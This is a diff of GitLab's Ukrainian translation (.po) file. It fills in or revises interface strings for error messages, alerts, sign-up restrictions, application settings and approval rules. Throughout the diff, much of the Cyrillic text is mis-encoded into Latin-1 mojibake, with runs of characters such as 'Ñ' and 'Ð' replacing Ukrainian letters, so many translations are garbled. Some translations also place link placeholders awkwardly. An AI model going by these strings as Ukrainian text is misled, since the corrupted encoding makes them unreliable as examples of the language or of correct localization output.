msgid "Also remove direct user membership from subgroups and projects"
-msgstr ""
+msgstr "Також видаліть прÑме членÑтво кориÑтувачів із підгруп та проєктів."
msgid "Also unassign this user from related issues and merge requests"
msgstr "Також ÑкаÑуйте Ð¿Ñ€Ð¸Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ñ†ÑŒÐ¾Ð³Ð¾ кориÑтувача з пов’Ñзаних задачами та запитами на злиттÑ"
@@ -3713,43 +3772,40 @@ msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr "Ð†Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ Ð· Amazon EKS дозволÑÑ” Ñтворювати клаÑтери EKS із GitLab."
msgid "Amazon Web Services Logo"
-msgstr ""
+msgstr "Логотип Amazon Web Services"
msgid "Amazon authentication is not %{link_start}correctly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr "Amazon-автентифікацію не %{link_start}налаштовано коректно%{link_end}. ЗвернітьÑÑ Ð´Ð¾ вашого адмініÑтратора GitLab, Ñкщо хочете викориÑтовувати цю можливіÑÑ‚ÑŒ."
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
-msgstr ""
+msgstr "Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð¶ÐµÐ½Ð½Ñ %{link_start}%{link_end} з тим Ñамим відбитком Ð¿Ð°Ð»ÑŒÑ†Ñ Ð²Ð¶Ðµ відкрито. Щоб змінити ÑÑ‚Ð°Ñ‚ÑƒÑ Ñ†ÑŒÐ¾Ð³Ð¾ попередженнÑ, вирішіть пов'Ñзане попередженнÑ."
msgid "An Enterprise User GitLab account has been created for you by your organization:"
-msgstr ""
+msgstr "Ваша Ð¾Ñ€Ð³Ð°Ð½Ñ–Ð·Ð°Ñ†Ñ–Ñ Ñтворила вам обліковий Ð·Ð°Ð¿Ð¸Ñ Enterprise User GitLab:"
msgid "An administrator changed the password for your GitLab account on %{link_to}."
-msgstr ""
+msgstr "ÐдмініÑтратор змінив пароль вашого облікового запиÑу GitLab на %{link_to}."
msgid "An alert has been resolved in %{project_path}."
-msgstr ""
+msgstr "ÐŸÐ¾Ð¿ÐµÑ€ÐµÐ´Ð¶ÐµÐ½Ð½Ñ Ð²Ð¸Ñ€Ñ–ÑˆÐµÐ½Ð¾ в %{project_path}."
msgid "An alert has been triggered in %{project_path}."
-msgstr ""
+msgstr "ÐŸÐ¾Ð¿ÐµÑ€ÐµÐ´Ð¶ÐµÐ½Ð½Ñ Ñпрацювало через %{project_path}."
msgid "An application called %{link_to_client} is requesting access to your GitLab account."
msgstr "Додаток під назвою %{link_to_client} запитує доÑтуп до вашого GitLab аккаунту."
msgid "An email notification was recently sent from the admin panel. Please wait %{wait_time_in_words} before attempting to send another message."
-msgstr ""
+msgstr "ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾ÑŽ поштою нещодавно надіÑлано з панелі адмініÑтратора. Зачекайте, будь лаÑка, %{wait_time_in_words}, перш ніж намагатиÑÑ Ð½Ð°Ð´Ñ–Ñлати інше повідомленнÑ."
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr "Порожнє поле Gitlab-кориÑтувача буде заповнено іменем кориÑтувача з FogBugz (наприклад \"John Smith\") в опиÑÑ– вÑÑ–Ñ… задач та коментарів. Крім того ці задачі та коментарі будуть аÑоційовані з та/або призначені на автора проєкту."
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr "ТрапилаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°"
msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
-msgstr ""
+msgstr "Помилка у звіті, в Ñкому результат теÑту вказує на наÑвніÑÑ‚ÑŒ вразливоÑÑ‚Ñ– в ÑиÑтемі, коли не приÑутні вразливоÑÑ‚Ñ–."
msgid "An error occurred adding a draft to the thread."
msgstr "Помилка при додаванні чернетки до обговореннÑ."
@@ -3772,29 +3828,32 @@ msgstr "Помилка при отриманні даних Ð´Ð»Ñ Ð²Ð¸Ð¿Ð°Ð´Ð°Ñ
msgid "An error occurred fetching the project authors."
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð°Ð²Ñ‚Ð¾Ñ€Ñ–Ð² проєкту."
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð½ÑŒÐ¾Ð³Ð¾ переглÑду об'єкта"
msgid "An error occurred when removing the label."
-msgstr ""
+msgstr "Виникла помилка при видаленні мітки."
msgid "An error occurred when updating the title"
-msgstr ""
+msgstr "ВідбулаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ°"
msgid "An error occurred while acknowledging the notification. Refresh the page and try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ ÑÐ¿Ð¾Ð²Ñ–Ñ‰ÐµÐ½Ð½Ñ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Оновіть Ñторінку та Ñпробуйте ще раз."
msgid "An error occurred while adding approvers"
-msgstr ""
+msgstr "Помилка при додаванні затверджуючих оÑіб."
msgid "An error occurred while adding formatted title for epic"
msgstr "Помилка під Ñ‡Ð°Ñ Ð´Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ð²Ñ–Ð´Ñ„Ð¾Ñ€Ð¼Ð°Ñ‚Ð¾Ð²Ð°Ð½Ð¾Ð³Ð¾ заголовка Ð´Ð»Ñ ÐµÐ¿Ñ–ÐºÐ°"
msgid "An error occurred while authorizing your role"
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð°Ð²Ñ‚Ð¾Ñ€Ð¸Ð·Ð°Ñ†Ñ–Ñ— вашої ролі ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°"
msgid "An error occurred while checking group path. Please refresh and try again."
-msgstr ""
+msgstr "Помилка під Ñ‡Ð°Ñ Ð¿ÐµÑ€ÐµÐ²Ñ–Ñ€ÐºÐ¸ шлÑху до групи. Оновіть Ñторінку та Ñпробуйте ще раз."
msgid "An error occurred while decoding the file."
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð´ÐµÐºÐ¾Ð´ÑƒÐ²Ð°Ð½Ð½Ñ Ñ„Ð°Ð¹Ð»Ñƒ."
@@ -3821,19 +3880,19 @@ msgid "An error occurred while dismissing the feature highlight. Refresh the pag
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при відхиленні Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾ функцію. Оновіть Ñторінку Ñ– Ñпробуйте знову."
msgid "An error occurred while drawing job relationship links."
-msgstr ""
+msgstr "ВідбулаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð¼Ð°Ð»ÑŽÐ²Ð°Ð½Ð½Ñ Ð¿Ð¾Ñилань на відноÑини між завданнÑми."
msgid "An error occurred while enabling Service Desk."
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ ÑƒÐ²Ñ–Ð¼ÐºÐ½ÐµÐ½Ð½Ñ Ð¡Ð»ÑƒÐ¶Ð±Ð¸ підтримки."
msgid "An error occurred while fetching Markdown preview"
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð½ÑŒÐ¾Ð³Ð¾ переглÑду Markdown ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°"
msgid "An error occurred while fetching ancestors"
msgstr ""
msgid "An error occurred while fetching branches. Retry the search."
-msgstr ""
+msgstr "Помилка при отриманні гілок. Повторіть пошук."
msgid "An error occurred while fetching codequality mr diff reports."
msgstr ""
@@ -3842,10 +3901,10 @@ msgid "An error occurred while fetching commit data."
msgstr ""
msgid "An error occurred while fetching commits. Retry the search."
-msgstr ""
+msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ ÐºÐ¾Ð¼Ð¼Ñ–Ñ‚Ñ–Ð². Повторіть пошук."
msgid "An error occurred while fetching coverage reports."
-msgstr ""
+msgstr "Помилка при отриманні звітів про покриттÑ."
msgid "An error occurred while fetching environments."
msgstr "Помилка при отриманні Ñередовищ."
@@ -3863,10 +3922,10 @@ msgid "An error occurred while fetching label colors."
msgstr "Помилка при отриманні кольорів міток."
msgid "An error occurred while fetching participants"
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ ÑƒÑ‡Ð°Ñників ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°"
msgid "An error occurred while fetching participants."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ ÑƒÑ‡Ð°Ñників ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°"
msgid "An error occurred while fetching pending comments"
msgstr "Помилка при отриманні коментарів в очікуванні"
@@ -3875,19 +3934,19 @@ msgid "An error occurred while fetching projects autocomplete."
msgstr "Помилка при отриманні Ð°Ð²Ñ‚Ð¾Ð´Ð¾Ð¿Ð¾Ð²Ð½ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñ–Ð²."
msgid "An error occurred while fetching reference"
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð¿Ð¾ÑÐ¸Ð»Ð°Ð½Ð½Ñ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°"
msgid "An error occurred while fetching tags. Retry the search."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ñ‚ÐµÐ³Ñ–Ð² ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Повторіть пошук."
msgid "An error occurred while fetching terraform reports."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð·Ð²Ñ–Ñ‚Ñ–Ð² terraform ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°."
msgid "An error occurred while fetching the job log."
msgstr "Помилка при отриманні логів завданнÑ."
msgid "An error occurred while fetching the job logs."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð·Ð°Ð²Ð´Ð°Ð½ÑŒ логів ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°."
msgid "An error occurred while fetching the job."
msgstr "Помилка при отриманні завданнÑ."
@@ -3908,13 +3967,13 @@ msgid "An error occurred while generating a username. Please try again."
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при Ñтворенні імені кориÑтувача. Будь лаÑка, Ñпробуйте знову."
msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
-msgstr ""
+msgstr "Помилка при отриманні даних автозаповненнÑ. Оновіть Ñторінку та Ñпробуйте ще раз."
msgid "An error occurred while getting files for - %{branchId}"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при отриманні файлів Ð´Ð»Ñ - %{branchId}"
msgid "An error occurred while getting issue counts"
-msgstr ""
+msgstr "Виникла помилка при підрахунку кількоÑÑ‚Ñ– задач"
msgid "An error occurred while getting projects"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при отриманні проєктів"
@@ -3923,7 +3982,7 @@ msgid "An error occurred while initializing path locks"
msgstr "Помилка при ініціалізації Ð±Ð»Ð¾ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð²Ð¸Ñ… шлÑхів"
msgid "An error occurred while loading a section of this page."
-msgstr ""
+msgstr "При завантаженні розділу цієї Ñторінки виникла помилка."
msgid "An error occurred while loading all the files."
msgstr "Помилка при завантаженні вÑÑ–Ñ… файлів."
@@ -3931,6 +3990,9 @@ msgstr "Помилка при завантаженні вÑÑ–Ñ… файлів."
msgid "An error occurred while loading chart data"
msgstr "Виникла помилка під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð´Ð°Ð½Ð¸Ñ… діаграми"
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "ТрапилаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при завантаженні підпиÑів комітів"
@@ -3953,7 +4015,7 @@ msgid "An error occurred while loading merge requests."
msgstr "Помилка при завантаженні результатів злиттÑ."
msgid "An error occurred while loading projects."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñ–Ð² ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°."
msgid "An error occurred while loading the Needs tab."
msgstr ""
@@ -3962,7 +4024,7 @@ msgid "An error occurred while loading the Test Reports tab."
msgstr ""
msgid "An error occurred while loading the access tokens form, please try again."
-msgstr ""
+msgstr "Виникла помилка під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ„Ð¾Ñ€Ð¼Ð¸ токенів доÑтупу. Повторіть Ñпробу."
msgid "An error occurred while loading the data. Please try again."
msgstr "Під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð´Ð°Ð½Ð¸Ñ… ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз."
@@ -3980,7 +4042,7 @@ msgid "An error occurred while loading the file. Please try again later."
msgstr "Помилка при завантаженні файлу. Будь лаÑка, Ñпробуйте ще раз пізніше."
msgid "An error occurred while loading the file. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ„Ð°Ð¹Ð»Ñƒ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка Ñпробуйте ще раз."
msgid "An error occurred while loading the merge request changes."
msgstr "Помилка при завантаженні змін запиту на злиттÑ."
@@ -3992,7 +4054,7 @@ msgid "An error occurred while loading the merge request."
msgstr "Помилка при завантаженні запиту на злиттÑ."
msgid "An error occurred while loading the notification settings. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½ÑŒ Ñповіщень ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка Ñпробуйте ще раз."
msgid "An error occurred while loading the pipeline."
msgstr "Помилка при завантаженні конвеєра."
@@ -4001,7 +4063,7 @@ msgid "An error occurred while loading the pipelines jobs."
msgstr "Помилка при завантаженні завдань конвеєра."
msgid "An error occurred while loading your content. Please try again."
-msgstr ""
+msgstr "ВідбулаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ контенту. Будь лаÑка, Ñпробуйте ще раз."
msgid "An error occurred while making the request."
msgstr "Помилка при Ñтворенні запиту."
@@ -4083,13 +4145,13 @@ msgid "An error occurred while updating the comment"
msgstr "Під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ ÐºÐ¾Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ñ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°"
msgid "An error occurred while updating the configuration."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ ÐºÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ— ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°."
msgid "An error occurred while updating the notification settings. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½ÑŒ Ñповіщень ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка Ñпробуйте ще раз."
msgid "An error occurred while uploading the file. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ„Ð°Ð¹Ð»Ñƒ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка Ñпробуйте ще раз."
msgid "An error occurred while uploading the image. Please try again."
msgstr ""
@@ -4101,7 +4163,7 @@ msgid "An error occurred while validating username"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð¿ÐµÑ€ÐµÐ²Ñ–Ñ€ÐºÐ¸ імені кориÑтувача"
msgid "An error occurred. Please sign in again."
-msgstr ""
+msgstr "Виникла помилка. Будь лаÑка, увійдіть ще раз."
msgid "An error occurred. Please try again."
msgstr "СталаÑÑŒ помилка. Спробуйте ще раз."
@@ -4113,6 +4175,9 @@ msgid "An example project that shows off the best practices for setting up GitLa
msgstr "Приклад проєкту, Ñкий показує найкращий доÑвід Ð´Ð»Ñ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ GitLab Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ñ— влаÑної організації, включаючи приклади задач, запити на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ‚Ð° етапи"
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
+msgstr "Приклад, що показує викориÑÑ‚Ð°Ð½Ð½Ñ Jsonnet з динамічними дочірніми конвеєрами GitLab"
+
+msgid "An integer value is required for seconds"
msgstr ""
msgid "An issue already exists"
@@ -4143,7 +4208,7 @@ msgid "An unknown error occurred while loading this graph."
msgstr ""
msgid "An unknown error occurred."
-msgstr ""
+msgstr "СталаÑÑ Ð½ÐµÐ²Ñ–Ð´Ð¾Ð¼Ð° помилка."
msgid "Analytics"
msgstr "Ðналітика"
@@ -4154,9 +4219,12 @@ msgstr "Проаналізуйте верÑÑ–ÑŽ Ð´Ð»Ñ Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð½ÑŒÐ¾Ð³Ð¾
msgid "Analyze your dependencies for known vulnerabilities."
msgstr "Проаналізуйте ваші залежноÑÑ‚Ñ– на предмет відомих вразливоÑтей."
-msgid "Analyze your source code and git history for secrets."
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
msgstr ""
+msgid "Analyze your source code and git history for secrets."
+msgstr "Проаналізуйте Ñвій вихідний код та Ñ–Ñторію git на предмет Ñекретів."
+
msgid "Analyze your source code for known vulnerabilities."
msgstr "Проаналізуйте ваш вихідний код на предмет відомих вразливоÑтей."
@@ -4167,7 +4235,7 @@ msgid "Ancestors"
msgstr "Предки"
msgid "And this registration token:"
-msgstr ""
+msgstr "І цей реєÑтраційний токен:"
msgid "Anonymous"
msgstr "Ðнонімно"
@@ -4191,19 +4259,16 @@ msgid "Any Author"
msgstr "Будь-Ñкий автор"
msgid "Any Milestone"
-msgstr ""
+msgstr "Будь-Ñкий етап"
msgid "Any encrypted tokens"
msgstr "Будь-Ñкі зашифровані токени"
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr "Будь-Ñка мітка"
msgid "Any member with at least Developer permissions on the project."
-msgstr ""
+msgstr "Будь-Ñкий учаÑник, Ñкий має Ñк мінімум дозволи розробника у проєкті."
msgid "Any milestone"
msgstr "Будь-Ñкий етап"
@@ -4211,9 +4276,6 @@ msgstr "Будь-Ñкий етап"
msgid "Any namespace"
msgstr "Будь-Ñкий проÑÑ‚Ñ–Ñ€ імен"
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr "Ідентифікатор заÑтоÑунку"
@@ -4260,10 +4322,10 @@ msgid "Application: %{name}"
msgstr "Додаток: %{name}"
msgid "ApplicationSettings|After sign up text"
-msgstr ""
+msgstr "ТекÑÑ‚ піÑÐ»Ñ Ñ€ÐµÑ”Ñтрації"
msgid "ApplicationSettings|Allowed domains for sign-ups"
-msgstr ""
+msgstr "Дозволені домени Ð´Ð»Ñ Ñ€ÐµÑ”Ñтрації"
msgid "ApplicationSettings|Approve %d user"
msgid_plural "ApplicationSettings|Approve %d users"
@@ -4272,63 +4334,69 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "ApplicationSettings|Approve users in the pending approval status?"
+msgid "ApplicationSettings|Approve users"
msgstr ""
+msgid "ApplicationSettings|Approve users in the pending approval status?"
+msgstr "Затвердити кориÑтувачів у ÑтатуÑÑ– очікуваного затвердженнÑ?"
+
msgid "ApplicationSettings|By making this change, you will automatically approve %d user with the pending approval status."
msgid_plural "ApplicationSettings|By making this change, you will automatically approve %d users with the pending approval status."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "Зробивши цю зміну, ви автоматично Ñхвалите %d кориÑтувача зі ÑтатуÑом Ð¾Ñ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð½Ð° ÑхваленнÑ."
+msgstr[1] "Зробивши цю зміну, ви автоматично Ñхвалите %d кориÑтувачів із ÑтатуÑом Ð¾Ñ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð½Ð° ÑхваленнÑ."
+msgstr[2] "Зробивши цю зміну, ви автоматично Ñхвалите %d кориÑтувачів із ÑтатуÑом Ð¾Ñ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð½Ð° ÑхваленнÑ."
+msgstr[3] "Зробивши цю зміну, ви автоматично Ñхвалите %d кориÑтувачів із ÑтатуÑом Ð¾Ñ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð½Ð° ÑхваленнÑ."
-msgid "ApplicationSettings|Denied domains for sign-ups"
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
msgstr ""
+msgid "ApplicationSettings|Denied domains for sign-ups"
+msgstr "Заборонені домени Ð´Ð»Ñ Ñ€ÐµÑ”Ñтрації"
+
msgid "ApplicationSettings|Denylist file"
msgstr ""
msgid "ApplicationSettings|Domain denylist"
-msgstr ""
+msgstr "СпиÑок заборонених доменів"
msgid "ApplicationSettings|Email restrictions"
-msgstr ""
+msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾ÑŽ поштою"
msgid "ApplicationSettings|Email restrictions for sign-ups"
-msgstr ""
+msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾Ñ— пошти Ð´Ð»Ñ Ñ€ÐµÑ”Ñтрації"
msgid "ApplicationSettings|Enable domain denylist for sign ups"
-msgstr ""
+msgstr "Увімкнути ÑпиÑок доменних імен Ð´Ð»Ñ Ñ€ÐµÑ”Ñтрації"
msgid "ApplicationSettings|Enable email restrictions for sign ups"
-msgstr ""
+msgstr "Увімкнути Ð¾Ð±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾Ñ— пошти Ð´Ð»Ñ Ñ€ÐµÑ”Ñтрації"
msgid "ApplicationSettings|Enter denylist manually"
-msgstr ""
+msgstr "Введіть ÑпиÑок заборони вручну"
msgid "ApplicationSettings|Markdown enabled"
-msgstr ""
+msgstr "Markdown увімкнено"
msgid "ApplicationSettings|Minimum password length (number of characters)"
-msgstr ""
+msgstr "Мінімальна довжина Ð¿Ð°Ñ€Ð¾Ð»Ñ (кількіÑÑ‚ÑŒ Ñимволів)"
msgid "ApplicationSettings|ONLY users with e-mail addresses that match these domain(s) will be able to sign-up. Wildcards allowed. Use separate lines for multiple entries. Ex: domain.com, *.domain.com"
msgstr ""
msgid "ApplicationSettings|Once the instance reaches the user cap, any user who is added or requests access will have to be approved by an admin. Leave the field empty for unlimited."
-msgstr ""
+msgstr "Як тільки екземплÑÑ€ доÑÑгне Ð¾Ð±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ð·Ð° кількіÑÑ‚ÑŽ кориÑтувачів, будь-Ñкий доданий або запитуваний доÑтуп кориÑтувач повинен бути Ñхвалений адмініÑтратором. Залишіть поле порожнім на необмежений термін."
msgid "ApplicationSettings|Require admin approval for new sign-ups"
-msgstr ""
+msgstr "Потрібне ÑÑ…Ð²Ð°Ð»ÐµÐ½Ð½Ñ Ð°Ð´Ð¼Ñ–Ð½Ñ–Ñтратора Ð´Ð»Ñ Ð½Ð¾Ð²Ð¸Ñ… реєÑтрацій"
msgid "ApplicationSettings|Restricts sign-ups for email addresses that match the given regex. See the %{linkStart}supported syntax%{linkEnd} for more information."
-msgstr ""
+msgstr "Обмежує реєÑтрацію Ð´Ð»Ñ Ð°Ð´Ñ€ÐµÑ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾Ñ— пошти, що відповідають заданому регулÑрному виразу. Додаткову інформацію див. у підтримуваному ÑинтакÑиÑÑ– %{linkStart}%{linkEnd}."
msgid "ApplicationSettings|Save changes"
-msgstr ""
+msgstr "Зберегти зміни"
msgid "ApplicationSettings|See GitLab's %{linkStart}Password Policy Guidelines%{linkEnd}"
-msgstr ""
+msgstr "Див.%{linkStart}Правила політики щодо паролів%{linkEnd} GitLab"
msgid "ApplicationSettings|Send confirmation email on sign-up"
msgstr ""
@@ -4340,7 +4408,7 @@ msgid "ApplicationSettings|Upload denylist file"
msgstr ""
msgid "ApplicationSettings|User cap"
-msgstr ""
+msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ ÐºÐ¾Ñ€Ð¸Ñтувача"
msgid "ApplicationSettings|Users with e-mail addresses that match these domain(s) will NOT be able to sign-up. Wildcards allowed. Use separate lines for multiple entries. Ex: domain.com, *.domain.com"
msgstr ""
@@ -4352,10 +4420,10 @@ msgid "ApplicationSettings|When enabled, any user visiting %{host} and creating
msgstr ""
msgid "ApplicationSettings|When enabled, any user visiting %{host} will be able to create an account."
-msgstr ""
+msgstr "Якщо цей параметр увімкнено, будь-Ñкий кориÑтувач, Ñкий відвідав %{host}, зможе Ñтворити обліковий запиÑ."
msgid "ApplicationSettings|domain.com"
-msgstr ""
+msgstr "domain.com"
msgid "Applications"
msgstr "ЗаÑтоÑунки"
@@ -4450,154 +4518,154 @@ msgstr[2] "Потрібно %{count} затверджень від %{membersCoun
msgstr[3] "Потрібно %{count} затверджень від %{membersCount}"
msgid "ApprovalRule|%{firstLabel} +%{numberOfAdditionalLabels} more"
-msgstr ""
+msgstr "%{firstLabel} + ще %{numberOfAdditionalLabels}"
msgid "ApprovalRule|Add approvers"
msgstr "Додати затверджувачів"
msgid "ApprovalRule|All scanners"
-msgstr ""
+msgstr "Ð’ÑÑ– Ñканери"
msgid "ApprovalRule|All severity levels"
-msgstr ""
+msgstr "УÑÑ– рівні ÑерйозноÑÑ‚Ñ–"
msgid "ApprovalRule|All vulnerability states"
-msgstr ""
